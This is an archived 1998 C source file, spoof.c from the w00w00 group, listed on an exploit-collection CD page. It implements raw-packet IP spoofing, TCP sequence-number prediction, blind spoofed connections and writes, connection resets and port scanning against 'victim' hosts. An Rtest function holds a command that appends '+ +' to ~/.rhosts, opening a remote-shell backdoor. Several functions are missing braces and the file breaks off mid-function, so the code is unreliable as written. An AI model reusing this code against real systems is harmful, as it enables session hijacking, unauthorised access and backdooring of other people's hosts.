home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / misc / spoof.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-08-13  |  28.3 KB  |  1,105 lines

  1. /* w00w00! */
  2.  
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <unistd.h>
  6. #include <fcntl.h>
  7. #include <sys/types.h>
  8. #include <sys/socket.h>
  9. #include <sys/wait.h>
  10. #include <sys/ioctl.h>
  11. #include <sys/stat.h>
  12. #include <netdb.h>
  13. #include <netinet/in.h>
  14. #include <netinet/ip.h>
  15. #include <netinet/ip_icmp.h>
  16. #include <netinet/ip_tcp.h>
  17. #include <netinet/udp.h>
  18.  
  19. #define  ERROR         -1
  20.  
  21. #define  IPHDRSIZE     sizeof(struct iphdr)
  22. #define  ICMPHDRSIZE   sizeof(struct icmphdr)
  23. #define  TCPHDRSIZE    sizeof(struct tcphdr)
  24. #define  PSEUDOHDRSIZE sizeof(struct pseudohdr)
  25. #define  UDPHDRSIZE    sizeof(struct udphdr)
  26.  
  27. /****************************************************************************/
  28. /* structure of the pseudo header                                           */
  29. /****************************************************************************/
  30.  
  31. struct pseudohdr {
  32.     unsigned long saddr;
  33.     unsigned long daddr;
  34.     unsigned char protocol;
  35.     unsigned int  leng;
  36.     char useless;
  37. };
  38.  
  39. struct nnn { u_long ip; } myip;
  40.                                                                 
  41. struct s_hdr {
  42.   __u32 s_ack:32;
  43.   __u32 s_seq:32;
  44.   __u32 s_da_ip:32;
  45.   __u32 s_ip:32;
  46.   __u16 s_sport:16;
  47.   __u16 s_dport:16;
  48. } spoof_hdr;
  49.  
  50.  
  51.  
  52. #ifdef SYSV
  53. #define bcopy(s1,s2,len) memcpy(s2,s1,len)
  54. #endif
  55.  
  56. /****************************************************************************/
  57. /*
  58.  * in_cksum --
  59.  *  Checksum routine for Internet Protocol family headers (C Version)
  60.  */
  61. /****************************************************************************/
  62.  
  63. unsigned short in_cksum(addr, len)
  64.     u_short *addr;
  65.     int len;
  66. {
  67.     register int nleft  = len;
  68.     register u_short *w = addr;
  69.     register int sum    = 0;
  70.     u_short answer      = 0;
  71.  
  72.     /*
  73.      * Our algorithm is simple, using a 32 bit accumulator (sum), we add
  74.      * sequential 16 bit words to it, and at the end, fold back all the
  75.      * carry bits from the top 16 bits into the lower 16 bits.
  76.      */
  77.     while (nleft > 1)  {
  78.         sum   += *w++;
  79.         nleft -= 2;
  80.     }
  81.  
  82.     /* mop up an odd byte, if necessary */
  83.     if (nleft == 1) {
  84.         *(u_char *)(&answer) = *(u_char *)w ;
  85.         sum += answer;
  86.     }
  87.  
  88.     /* add back carry outs from top 16 bits to low 16 bits        */
  89.     sum    = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
  90.     sum   += (sum >> 16);                  /* add carry           */
  91.     answer = ~sum;                         /* truncate to 16 bits */
  92.     return(answer);
  93. }
  94.  
  95.  
  96. /****************************************************************************/
  97. /*                          SEND A PAKET TCP!                               */
  98. /*                                                                          */
  99. /*  usage: send_pkt(socket, ip of source, ip of dest, source port, dest     */
  100. /*                  port, flags, seq_num, ack_num, window size, *data,      */
  101. /*            size of data);                                          */
  102. /*                                        */
  103. /****************************************************************************/
  104.  
  105. void send_pkt(s, s_ip, d_ip, s_port, d_port, flags, seq_num, ack_num,
  106.               winsize, data, data_size)
  107.    int s;
  108.    unsigned long s_ip;
  109.    unsigned long d_ip;
  110.    unsigned int  s_port;
  111.    unsigned int  d_port;
  112.    unsigned char flags;
  113.    unsigned long seq_num;
  114.    unsigned long ack_num;
  115.    unsigned int  winsize;
  116.    unsigned char *data;
  117.    unsigned int  data_size;
  118.  
  119. {
  120.    struct   sockaddr_in sin_dst;
  121.    struct   iphdr       *ip;
  122.    struct   tcphdr      *tcp;
  123.    struct   pseudohdr   *pseudo;
  124.    unsigned char        *DATA;
  125.    unsigned char        packet[2048];
  126.    int i;
  127.    
  128.    ip     = (struct iphdr      *)packet;
  129.    pseudo = (struct pseudohdr  *)(packet + IPHDRSIZE - PSEUDOHDRSIZE);
  130.    tcp    = (struct tcphdr     *)(packet + IPHDRSIZE);
  131.    DATA   = (unsigned char     *)(packet + IPHDRSIZE + TCPHDRSIZE);
  132.    
  133.    memset(packet, 0, 2048);                     
  134.    memcpy(DATA, data, data_size);                                 
  135.                                                  
  136.    pseudo->saddr    = s_ip;
  137.    pseudo->daddr    = d_ip;
  138.    pseudo->useless  = 0;
  139.    pseudo->protocol = 6;
  140.    pseudo->leng     = htons(TCPHDRSIZE + data_size);
  141.                             
  142.    tcp->th_sport    = htons(s_port);
  143.    tcp->th_seq      = htonl(seq_num);
  144.    tcp->th_ack      = htonl(ack_num);
  145.    tcp->th_off      = 5;
  146.    tcp->th_flags    = flags;
  147.    tcp->th_win      = htons(winsize);
  148.     
  149.    tcp->th_urp=0;     
  150.    tcp->th_dport    = htons(d_port );
  151.    tcp->th_sum      = 0;
  152.    tcp->th_sum      = in_cksum(pseudo, TCPHDRSIZE + PSEUDOHDRSIZE + data_size);
  153.                  
  154.    memset(packet, 0, IPHDRSIZE);
  155.             
  156.    ip->saddr        = s_ip;
  157.    ip->daddr        = d_ip;
  158.    ip->version      = 4;
  159.    ip->ihl             = 5; 
  160.    ip->ttl          = 245;
  161.    ip->protocol     = 6; 
  162.    ip->tot_len      = htons(IPHDRSIZE + TCPHDRSIZE + data_size);
  163.    ip->tos          = 0;
  164.    ip->id           = random() % 1256;
  165.    ip->frag_off     = 0;
  166.    ip->check        = 0;
  167.    ip->check        = in_cksum(packet, IPHDRSIZE);
  168.             
  169.    sin_dst.sin_addr.s_addr = ip->daddr;
  170.    sin_dst.sin_family      = AF_INET;     
  171.         
  172.    i = sendto(s, packet, IPHDRSIZE + TCPHDRSIZE + data_size, 0,
  173.              (struct sockaddr *)&sin_dst, sizeof(struct sockaddr)); 
  174.  
  175.    if (i == ERROR) {
  176.     perror("sendto");
  177.     exit(ERROR);
  178.    }
  179.  
  180. }
  181.  
  182.  
  183. /****************************************************************************/
  184. /*                          SEND A UDP PACKET                               */
  185. /* usage: udp_send(socket, addr of source, addr of dest, port source,       */
  186. /*                 port of dest, *data, size of data);                      */
  187. /****************************************************************************/
  188.  
  189. void udp_send(s, s_addr, d_addr, s_port, d_port, datagram, datasize)
  190.     int s;
  191.     unsigned long  s_addr;
  192.     unsigned long  d_addr;
  193.     unsigned short s_port;
  194.     unsigned short d_port;
  195.     char     *datagram;
  196.     unsigned datasize;
  197. {
  198.  
  199.   struct   sockaddr_in sin;
  200.   struct   udphdr      *udp;
  201.   struct   iphdr       *ip;
  202.   unsigned char        *data;
  203.   unsigned char        packet[1024];
  204.   int i;
  205.  
  206.   ip     = (struct iphdr     *)packet; 
  207.   udp    = (struct udphdr    *)(packet+IPHDRSIZE);
  208.   data   = (unsigned char    *)(packet+IPHDRSIZE+UDPHDRSIZE);
  209.        
  210.   memset(packet, 0, 1024);
  211.  
  212.   udp->source  = htons(s_port); 
  213.   udp->dest    = htons(d_port);
  214.   udp->len     = htons(UDPHDRSIZE+datasize);
  215.   memcpy(data, datagram, datasize);
  216.  
  217.   udp->check    = 0;         
  218.  
  219.   memcpy(data, datagram, datasize);
  220.         
  221.   memset(packet, 0, IPHDRSIZE);
  222.         
  223.   ip->saddr    = s_addr;
  224.   ip->daddr    = d_addr;
  225.   ip->version  = 4;
  226.   ip->ihl      = 5;
  227.   ip->ttl      = 245;
  228.   ip->id       = random()%5985;
  229.   ip->protocol = 17;
  230.   ip->tot_len  = htons(IPHDRSIZE + UDPHDRSIZE + datasize);
  231.   ip->check    = 0;
  232.   ip->check    = in_cksum((char *)packet,IPHDRSIZE);
  233.                                                                         
  234.                                                                         
  235.  
  236.   sin.sin_family      = AF_INET;
  237.   sin.sin_addr.s_addr = d_addr;
  238.   sin.sin_port        = udp->dest;
  239.  
  240.   i = sendto(s, packet, IPHDRSIZE+UDPHDRSIZE+datasize, 0, 
  241.             (struct sockaddr*)&sin, sizeof(struct sockaddr));
  242.  
  243.   if (i == ERROR) {
  244.     perror("sendto");
  245.     exit(ERROR);
  246.   }
  247.  
  248. }
  249.  
  250.  
  251. /****************************************************************************/
  252. /*                          SEND A ICMP PACKET                              */
  253. /*  icmp_echo(socket fd, source, destinatiton, id, sequence number, data,   */
  254. /*            datasize);                            */
  255. /****************************************************************************/
  256. /* IN TEST !!!!!!!                                */
  257. /*
  258. void icmp_echo(s, src, dest, id, seq, data, datasize)
  259.     int  s;
  260.     unsigned long int src;
  261.     unsigned long int dest;
  262.     int  id;
  263.     int  seq;
  264.     char *data;
  265.     unsigned int datasize;
  266.  
  267. {
  268.   unsigned char        *packet;
  269.   unsigned char        *icmpdata;
  270.   struct   iphdr       *ip;
  271.   struct   icmphdr     *icmp;
  272.   struct   sockaddr_in sin_dst;
  273.   int n;
  274.  
  275.   packet = (char *)malloc(IPHDRSIZE + ICMPHDRSIZE + datasize + 1);
  276.   if (packet == NULL) {
  277.     perror("malloc");
  278.     exit(ERROR);
  279.   }
  280.  
  281.   ip       = (struct iphdr   *)packet;
  282.   icmp     = (struct icmphdr *)(packet + IPHDRSIZE);
  283.   icmpdata = (char           *)(packet + IPHDRSIZE + ICMPHDRSIZE);
  284.  
  285.   ip->saddr             =  src;
  286.   ip->daddr             =  dest;
  287.   ip->version           =  4;
  288.   ip->ihl               =  5;
  289.   ip->ttl               =  255;
  290.   ip->protocol          =  1;
  291.   ip->tot_len           =  htons(IPHDRSIZE + ICMPHDRSIZE + datasize);
  292.   ip->tos               =  0;
  293.   ip->id                =  0;
  294.   ip->frag_off          =  0;
  295.   ip->check              =  0;
  296.   ip->check              =  in_cksum(ip, IPHDRSIZE);
  297.   icmp->type             =  8;
  298.   icmp->code             =  0;
  299.   icmp->checksum         =  0;
  300.   icmp->un.echo.id       =  id;
  301.   icmp->un.echo.sequence =  seq;
  302.   memcpy(icmpdata, data, datasize);
  303.  
  304.   icmp->checksum          = in_cksum(icmp, ICMPHDRSIZE + datasize);
  305.  
  306.   sin_dst.sin_addr.s_addr = ip->daddr;
  307.   sin_dst.sin_family      = AF_INET;
  308.  
  309.   n = sendto(s, packet, IPHDRSIZE + ICMPHDRSIZE + datasize, 0,
  310.           (struct sockaddr*)&sin_dst, sizeof(struct sockaddr));
  311.  
  312.   if (n == ERROR) {
  313.         perror("sendto");
  314.         free(packet);
  315.         exit(ERROR);
  316.   }
  317.  
  318.   free(packet);
  319. }
  320. */
  321.  
  322. /****************************************************************************/
  323. /*                         TEST IF  A HOST IS ALIVE                   */
  324. /*                                                                          */
  325. /*                       Not implemented yet                           */
  326. /****************************************************************************/ 
  327.  
  328.  
  329. /****************************************************************************/
  330. /*                   RECV PAKET                                     */
  331. /*  get_pkt(socket, *buffer, size of the buffer);                           */
  332. /****************************************************************************/
  333. int get_pkt(int s, unsigned char *data, int size)
  334. {
  335.   struct sockaddr_in sin;
  336.   int len, resu;
  337.  
  338.   len = sizeof(sin);
  339.   resu = recvfrom(s, data, size, 0, (struct sockaddr *)&sin, &len);
  340.   if (resu == ERROR) {
  341.     perror("recvfrom");
  342.     exit(ERROR);
  343.   }
  344.  
  345.   return resu;
  346. }        
  347.      
  348. /****************************************************************************/
  349. /*                     GET THE SEQ NUMBER                                   */
  350. /*  get_seq (source ip, destination ip, source port)                        */
  351. /****************************************************************************/
  352.  
  353. unsigned long get_seq(s_ip, d_ip, s_port)
  354.   unsigned long s_ip; 
  355.   unsigned long d_ip;
  356.   unsigned int  s_port;
  357.  
  358. {
  359.   struct   tcphdr       *tcp;
  360.   struct   iphdr        *ip;
  361.   unsigned char         data[400];
  362.   unsigned long         ack_num = 0;
  363.  
  364.   int  s, s_r, S_port; 
  365.   int  i = 1,  er;
  366.   int  timeout = 0, on = 1;
  367.  
  368.   ip  = (struct iphdr  *)data;
  369.   tcp = (struct tcphdr *)(data+IPHDRSIZE);
  370.   memset(data, 0, 399);
  371.  
  372.   S_port = random() % 1000;
  373.  
  374.   if ((s = socket(AF_INET, SOCK_RAW, 255)) == ERROR)  {
  375.     perror("socket");
  376.     exit(ERROR);
  377.   }
  378.  
  379.   if ((s_r = socket(AF_INET, SOCK_RAW, 6)) == ERROR)  {
  380.     perror("socket");
  381.     exit(ERROR);
  382.   }
  383.  
  384.   if ((ioctl(s,   FIONBIO, &on)) == ERROR) {
  385.     perror("ioctl");
  386.     exit(ERROR);
  387.   }
  388.  
  389.   if ((ioctl(s_r, FIONBIO, &on)) == ERROR) {
  390.     perror("ioctl");
  391.     exit(ERROR);
  392.   }
  393.    
  394.   #ifdef IP_HDRINCL
  395.   er = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i));
  396.   if (er == ERROR) {
  397.     perror("setsockopt");
  398.     exit(ERROR);
  399.   }
  400.   #endif 
  401.  
  402.   send_pkt(s, s_ip, d_ip, S_port, s_port, TH_SYN, 1234, 0, 512, NULL, 0);
  403.  
  404.   while(timeout < 480) {
  405.        get_pkt(s_r, data, 398);
  406.              
  407.        if(ip->saddr == d_ip) {
  408.              if(tcp->th_dport == htons(S_port))
  409.                   if(tcp->th_sport == htons(s_port))
  410.                       if(tcp->th_flags & TH_ACK) {
  411.                          printf(" Seq. num is %lu\n", ntohl(tcp->th_seq));
  412.                          ack_num = ntohl(tcp->th_seq);
  413.                          break;
  414.                       } 
  415.                      
  416.              usleep(10000);
  417.              timeout++;
  418.        }
  419.   }
  420.  
  421.   close(s);
  422.   close(s_r);
  423.   return ack_num;
  424.  
  425. /****************************************************************************/
  426. /*                     PORT PROBER                                          */
  427. /* usage:  pprobe(ip of destination, port, flags)                           */
  428. /****************************************************************************/
  429.  
  430. int pprobe(da_ip, port, flags)
  431.    unsigned long da_ip;
  432.    unsigned short int port; 
  433.    int flags;
  434. {
  435.   struct    tcphdr       *tcp;
  436.   struct    iphdr        *ip, *ipr;
  437.   unsigned  char         data[400];
  438.   unsigned  char         datar[400];
  439.   int s, s_r, sicmp;
  440.   int resu;
  441.   int timeout = 0;
  442.   int on = 1;
  443.   int er, i;
  444.  
  445.   ip  = (struct iphdr  *)data;
  446.   tcp = (struct tcphdr *)(data+IPHDRSIZE);
  447.   ipr = (struct iphdr  *)data;
  448.  
  449.   memset(data, 0, 399);
  450.  
  451.   if ((s = socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
  452.     perror("socket");
  453.     exit(ERROR);
  454.   }
  455.  
  456.   if ((s_r = socket(AF_INET, SOCK_RAW, 6)) == ERROR) {
  457.     perror("socket");
  458.     exit(ERROR);
  459.   }
  460.  
  461.   if ((sicmp = socket(AF_INET, SOCK_RAW, 1)) == ERROR) {    
  462.     perror("socket");
  463.     exit(ERROR);
  464.   }
  465.  
  466.   if ((ioctl(s_r, FIONBIO, &on)) == ERROR) {
  467.     perror("ioctl");
  468.     exit(ERROR);
  469.   }
  470.  
  471.   if ((ioctl(sicmp, FIONBIO, &on)) == ERROR) {
  472.     perror("ioctl");
  473.     exit(ERROR);
  474.   }
  475.  
  476.          
  477.   #ifdef IP_HDRINCL
  478.   er = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i));
  479.   if (er == ERROR) {
  480.     perror("setsockopt");
  481.     exit(ERROR);
  482.   }
  483.   #endif
  484.             
  485.  
  486.   send_pkt(s, myip.ip, da_ip, 2669, port, flags, 1234, 0, 512, NULL, 0);
  487.   resu = -1;
  488.  
  489.   while(timeout < 80) {
  490.  
  491.     data[0]  = '0';
  492.         datar[0] = '0';
  493.         usleep(100000);
  494.  
  495.         timeout++;
  496.  
  497.         get_pkt(s_r,   data,  399);
  498.         get_pkt(sicmp, datar, 399);
  499.  
  500.         if(datar[0] != '0') {
  501.         resu = -1;
  502.             printf("ICMP!\n");
  503.             goto fin;
  504.       }
  505.  
  506.       if(data[0] != '0') 
  507.               if(ip->saddr == da_ip)
  508.               if(tcp->th_dport == htons(2669))
  509.                  if(tcp->th_sport == htons(port)) {
  510.                      resu = (tcp->th_flags |  TH_ACK);
  511.                      if(resu==18)resu = 0;    
  512.                      if(resu==20)resu = -1;
  513.                      break;   
  514.                  }
  515.              
  516.               
  517.      
  518.   }
  519.  
  520.   fin:
  521.     if (timeout > 79) printf(" Time Out");
  522.  
  523.   close(s);
  524.   close(s_r);
  525.   close(sicmp);
  526.   return resu;
  527. }          
  528.  
  529. /*****************************************************************************/
  530. /* pprobeS (ip victim, flags, FILE files, port limit)                        */
  531. /*****************************************************************************/
  532.  
  533. int pprobeS(da_ip, flags, files, limit)
  534.     unsigned long da_ip;
  535.     int flags;
  536.     FILE *files;
  537.     u_int limit;
  538. {
  539.   struct   tcphdr       *tcp;
  540.   struct   iphdr        *ip, *ipr;
  541.   unsigned char         data[400], datar[400];
  542.   int   s, s_r, sicmp;
  543.   int   resu;
  544.   int   timeout = 0;
  545.   int   i       = 1;
  546.   u_int lim     = 0;
  547.   int er;
  548.  
  549.   bzero(data, 400);
  550.  
  551.   ip  = (struct iphdr  *)data;
  552.   tcp = (struct tcphdr *)(data + IPHDRSIZE);
  553.   ipr = (struct iphdr  *)data;
  554.  
  555.  
  556.   if ((s =  socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
  557.     perror("socket");
  558.     exit(ERROR);
  559.   }
  560.  
  561.   if((s_r = socket(AF_INET, SOCK_RAW, 6)) == ERROR) {
  562.     perror("socket");
  563.     exit(ERROR);
  564.   }
  565.  
  566.   if ((sicmp = socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
  567.     perror("socket");
  568.     exit(ERROR);
  569.   }
  570.  
  571.   /* ioctl(s_r,FIONBIO,&on);   */
  572.   /* ioctl(sicmp,FIONBIO,&on); */
  573.  
  574.          
  575.   #ifdef IP_HDRINCL
  576.   er = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i));
  577.   if (er == ERROR) {
  578.     perror("setsockopt");
  579.     exit(ERROR);
  580.   }
  581.   #endif
  582.             
  583.   resu = -1;
  584.   lim  =  1;
  585.  
  586.   while(lim < limit) {
  587.     send_pkt(s, myip.ip, da_ip, 2669, lim, flags, 1234, 0, 
  588.                  512, NULL, 0);
  589.  
  590.     data[0] = '0', datar[0] = '0';  
  591.  
  592.     get_pkt(s_r, data , 399);
  593.         
  594.        if(data[0] != '0')
  595.            if(ip->saddr == da_ip)
  596.               if(tcp->th_dport == htons(2669))
  597.                  if(tcp->th_sport != htons(2669)) {                    
  598.                          resu = (tcp->th_flags | TH_ACK);
  599.                          if(resu == 18) {
  600.                          printf("the port %d is open!\n", 
  601.                 ntohs(tcp->th_sport));
  602.                            fprintf(files,"%d\n", ntohs(tcp->th_sport));
  603.                              fflush(files); 
  604.                               goto fin;
  605.                          } 
  606.                  }
  607.     
  608.     fin:
  609.         lim++;
  610.   }
  611.  
  612.   if (timeout > 79) printf(" Time Out");
  613.  
  614.   close(s);
  615.   close(s_r);
  616.   close(sicmp);
  617.   return resu;
  618. }          
  619.  
  620.  
  621.  
  622.                                                                                
  623. /****************************************************************************/
  624. /*                       UDP PORT PROBER                                    */
  625. /* usage: Upprobe(ip of destination, port)                                  */
  626. /****************************************************************************/
  627.  
  628. int Upprobe(unsigned long da_ip, unsigned short int port)
  629. {
  630.   struct   sockaddr_in  sin_dst;
  631.   struct   icmphdr      *icmp;
  632.   struct   iphdr        *ip;
  633.   unsigned char         data[400];
  634.   int  s, s_r;
  635.   int  i = 0;
  636.   int  resu;
  637.  
  638.   ip  =  (struct iphdr   *)data;
  639.   icmp = (struct icmphdr *)(data+IPHDRSIZE);
  640.   memset(data, 0, 399);
  641.  
  642.   if ((s = socket(AF_INET, SOCK_DGRAM, 17)) == ERROR) {
  643.     perror("socket");
  644.     exit(ERROR);
  645.   }
  646.  
  647.   if ((ioctl(s, FIONBIO, &i)) == ERROR) {
  648.     perror("ioctl");
  649.     exit(ERROR);
  650.   }
  651.  
  652.   sin_dst.sin_family      = AF_INET;
  653.   sin_dst.sin_port        = htons(port);
  654.   sin_dst.sin_addr.s_addr = da_ip;
  655.   sendto(s, NULL, 0, 0, (struct sockaddr *)&sin_dst, sizeof(sin_dst));
  656.  
  657.   if ((s_r = socket(AF_INET, SOCK_RAW, 1)) == ERROR) {
  658.     perror("socket");
  659.     exit(ERROR);
  660.   }
  661.  
  662.   i = 1;
  663.  
  664.   if ((ioctl(s_r, FIONBIO, &i)) == ERROR) {
  665.     perror("ioctl");
  666.     exit(ERROR);
  667.   }
  668.           
  669.   resu = -1;  
  670.  
  671.   while (1) {
  672.     data[0] = '0';
  673.     get_pkt(s_r, data, 399);
  674.  
  675.     if(data[0] != '0') { 
  676.         printf(" ???\n");
  677.           if(ip->saddr == da_ip)
  678.               if(ip->protocol == 1) {
  679.                   resu = 0;     
  680.                   goto fin;
  681.               } else
  682.               resu = -1;
  683.         }  
  684.   }
  685.  
  686.   fin:
  687.     return resu;
  688.  
  689.          
  690. /****************************************************************************/
  691. /*                     Make a spoofed connection                            */
  692. /*                                                                          */
  693. /* usage(socket, source ip, destination ip, source port, destination port,  */
  694. /*       your ip)                                     */
  695. /****************************************************************************/
  696.  
  697. int Sconnect(s, s_ip, d_ip, s_port, d_port, myhost)
  698.     int s;
  699.     unsigned long  s_ip;
  700.     unsigned long  d_ip;
  701.     unsigned short int s_port;
  702.     unsigned short int d_port;
  703.     unsigned long  myhost;
  704.  
  705.  
  706.   int loop;
  707.  
  708.   spoof_hdr.s_seq   = 1;
  709.   spoof_hdr.s_da_ip = d_ip;
  710.   spoof_hdr.s_ip    = s_ip;
  711.   spoof_hdr.s_sport = s_port;
  712.   spoof_hdr.s_dport = d_port;
  713.   spoof_hdr.s_ack   = get_seq(myhost, d_ip, d_port);
  714.  
  715.   if(spoof_hdr.s_ack == 0) {
  716.     printf(" Too Slow\n");
  717.     return(2);
  718.   }
  719.  
  720.   send_pkt(s, s_ip, d_ip, s_port, d_port, TH_SYN, spoof_hdr.s_seq, 
  721.        1, 512, NULL, 0);
  722.  
  723.   for(loop = 1; loop < 8; loop++) {
  724.     spoof_hdr.s_seq = spoof_hdr.s_seq;
  725.     printf(" spoof ack +64000 * %d + 1 = %lu\n",
  726.         loop, (u_long) spoof_hdr.s_ack + (64000 * loop) + 1);
  727.     send_pkt(s, s_ip, d_ip, s_port, d_port, TH_ACK, spoof_hdr.s_seq + 1, 
  728.          spoof_hdr.s_ack + (64000 * loop) + 1, 14360, NULL, 0); 
  729.   }
  730.  
  731.   spoof_hdr.s_seq++;
  732.   return(0);
  733. }
  734.  
  735. /****************************************************************************/
  736. /*               Spoofed write  (need to use Sconnect before this)          */
  737. /* usage:  Swrite (socket, *data, size of data );                           */
  738. /****************************************************************************/
  739.  
  740.  
  741. void Swrite(int s, u_char *data, int size)
  742. {
  743.   int loop;
  744.  
  745.   for(loop = 1; loop < 8; loop++) {
  746.     send_pkt(s, spoof_hdr.s_ip, spoof_hdr.s_da_ip, spoof_hdr.s_sport, 
  747.              spoof_hdr.s_dport, (TH_PUSH|TH_ACK), spoof_hdr.s_seq, 
  748.              spoof_hdr.s_ack + (64000 * loop) + 1, 14360, data, size);
  749.   }
  750.  
  751.   spoof_hdr.s_seq = spoof_hdr.s_seq+size;
  752. }   
  753.  
  754.  
  755. /****************************************************************************/
  756. /* Spoofed write 2                                */
  757. /* usage: Swrites(s, *data);                                */
  758. /****************************************************************************/
  759. void Swrites(int s, char *data)
  760. {
  761.     int size;
  762.     size = strlen(data);
  763.     Swrite(s, data, size);
  764. }
  765.  
  766.  
  767. /****************************************************************************/
  768. /* RESET CONNETION                                */
  769. /****************************************************************************/
  770.  
  771. void Srst(int s)
  772. {
  773.   int loop;
  774.  
  775.   for(loop = 1; loop < 8; loop++) {
  776.     send_pkt(s,spoof_hdr.s_ip,  spoof_hdr.s_da_ip,
  777.                  spoof_hdr.s_sport, spoof_hdr.s_dport,
  778.                  TH_FIN, spoof_hdr.s_seq, spoof_hdr.s_ack +
  779.          (64000 * loop) + 1, 14360, NULL, 0);
  780.   }
  781.  
  782.   for(loop=1; loop < 8; loop++) {
  783.     send_pkt(s, spoof_hdr.s_ip, spoof_hdr.s_da_ip, spoof_hdr.s_sport,
  784.              spoof_hdr.s_dport, TH_ACK, spoof_hdr.s_seq, 
  785.          spoof_hdr.s_ack + (64000 * loop) + 1, 14360, NULL, 0);
  786.  
  787.   }
  788.  
  789. }   
  790.  
  791.  
  792. /****************************************************************************/
  793. /*           Test if a host is spoofable                                    */
  794. /* usage: Stest (myhost,ip dest , port of dest);                            */
  795. /****************************************************************************/
  796.  
  797. int Stest(unsigned long myhost, unsigned long ip_d, unsigned short d_port)
  798. {
  799.   u_long resu;
  800.   u_long resu1;
  801.   u_long resu2;
  802.   u_long resu3;
  803.   int done = -1;
  804.  
  805.  
  806.   resu   = get_seq(myhost, ip_d, d_port);
  807.   resu1  = get_seq(myhost, ip_d, d_port);
  808.   resu2  = get_seq(myhost, ip_d, d_port);
  809.   resu3  = get_seq(myhost, ip_d, d_port);
  810.  
  811.  
  812.   if(((resu1 - resu)  == 64000) || ((resu1 - resu)  == 128000)) done = 0;
  813.   if(((resu3 - resu2) == 64000) || ((resu3 - resu2) == 128000)) done = 0;
  814.  
  815.   return  done;
  816.  
  817. }
  818.  
  819. /****************************************************************************/
  820. /*    get the ip from a host -l ouput file                                  */
  821. /* usage: IPFILES( *the src file, *the output file);                        */
  822. /****************************************************************************/
  823.  
  824. void IPFILES(FILE *DA, FILE *trace)
  825. {
  826.   char ipz[256];
  827.   int oki;
  828.  
  829.   while(!feof(DA)) {                
  830.      int size;
  831.  
  832.      fscanf(DA , "%s", ipz);  
  833.       
  834.      size = strspn(ipz, "aAeEiIoOuUyYgG");
  835.      if (size <= 0) oki = 1;
  836.  
  837.      if(oki == 1) {  
  838.         fprintf(trace, "%s\n", ipz );
  839.         fflush(trace);
  840.         oki = 0;
  841.      }
  842.           
  843.      if(feof(DA)) break;
  844.         
  845.   }
  846.  
  847. }
  848.  
  849. /****************************************************************************/
  850. /*                  Do a port scan                        */
  851. /*  Scan2(int *input, int *output, size of *, flags, ip);              */
  852. /****************************************************************************/
  853.  
  854. void Scan2(int *ptr, int *outptr, int Size, int flags, u_long da_ip)
  855.   int s, i = 1, s_r, resu, timeout = 0, try = 0, on = 1;
  856.  
  857.   struct   tcphdr *tcp, *tcpr;
  858.   struct   iphdr  *ip,  *ipr;
  859.  
  860.   unsigned char   data[400];
  861.   unsigned char   datar[400];
  862.  
  863.   ip  = (struct iphdr  *)data;
  864.   tcp = (struct tcphdr *)(data+IPHDRSIZE);
  865.   ipr = (struct iphdr  *)datar;
  866.   tcpr= (struct tcphdr *)(datar+IPHDRSIZE);
  867.  
  868.   memset(outptr, 0, (Size / 2));
  869.   memset(data, 0, 399);
  870.  
  871.   if ((s = socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
  872.     perror("socket");
  873.     exit(ERROR);
  874.   }
  875.  
  876.   if ((s_r = socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
  877.     perror("socket");
  878.     exit(ERROR);
  879.   }
  880.  
  881.   if ((ioctl(s_r, FIONBIO, &on)) == ERROR) {
  882.     perror("socket");
  883.     exit(ERROR);
  884.   }
  885.          
  886.   #ifdef IP_HDRINCL
  887.   if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i)) 
  888.             == ERROR) {
  889.     perror("setsockopt");
  890.     exit(ERROR);
  891.   }
  892.   #endif
  893.             
  894.  
  895.   while(timeout < 540) {
  896.       data[0]  = '0';
  897.         datar[0] = '0';
  898.  
  899.       usleep(10000);
  900.  
  901.       timeout = timeout + 1;
  902.  
  903.           if(try < Size)
  904.          if(*(ptr + try) != 0) 
  905.         send_pkt(s, myip.ip, da_ip, 40000 - try, *(ptr + try), flags,
  906.                  1234, 0, 512, NULL, 0);
  907.  
  908.       get_pkt(s_r, datar, 399);
  909.  
  910.       if(datar[0] != '0')
  911.            if(ipr->saddr == da_ip)
  912.         if(ntohs(tcpr->th_dport) > 39000) {   
  913.                    resu = (tcpr->th_flags | TH_ACK);
  914.                    if(resu == 18) {
  915.                    *(outptr + (40000 - ntohs(tcpr->th_dport))) = 1;
  916.                           printf("The port %i responded :)\n",
  917.                 ntohs(tcpr->th_sport));
  918.                           resu = 0;
  919.                        datar[0] = '0';
  920.                    }
  921.                 }      
  922.  
  923.           try++;
  924.   }   
  925.  
  926.  
  927. /****************************************************************************/
  928. /*  Rtest a function for test the permission of R* service                  */
  929. /*  Rtest(ip of victim, port, *remote user, *local user);            */
  930. /****************************************************************************/
  931.  
  932. int Rtest(u_long ip, int port, char *Ruser, char *Luser)
  933. {
  934.   struct sockaddr_in adresse_serveur,adresse_client;
  935.   char   bla[2000], cmd[200], *cmdptr;
  936.   char   exe[200] = "echo \" + + \" >> ~/.rhosts";
  937.   int    socket_client, err, res;
  938.   int    longueur = sizeof(struct sockaddr_in);
  939.  
  940.   bzero(bla, 2000);
  941.   bzero(cmd, 200);
  942.   cmdptr = cmd;
  943.  
  944.   if(port == 514) {
  945.     
  946.     if((socket_client = socket(AF_INET, SOCK_STREAM, 6)) == ERROR) {
  947.         perror("socket");
  948.         exit(ERROR);
  949.         }
  950.  
  951.     adresse_client.sin_family      = AF_INET;
  952.     adresse_client.sin_addr.s_addr = htonl(INADDR_ANY);
  953.     adresse_client.sin_port        = htons(764 + 1 +(100.0 * rand() / 
  954.                                (RAND_MAX + 1.0)));
  955.         printf("port %i\n", ntohs(adresse_client.sin_port));
  956.  
  957.         res = bind(socket_client, (struct sockaddr *)&adresse_client, 
  958.            longueur);
  959.  
  960.         if (res == ERROR) {
  961.         perror("bind");
  962.         close(socket_client);
  963.         exit(ERROR);
  964.     }
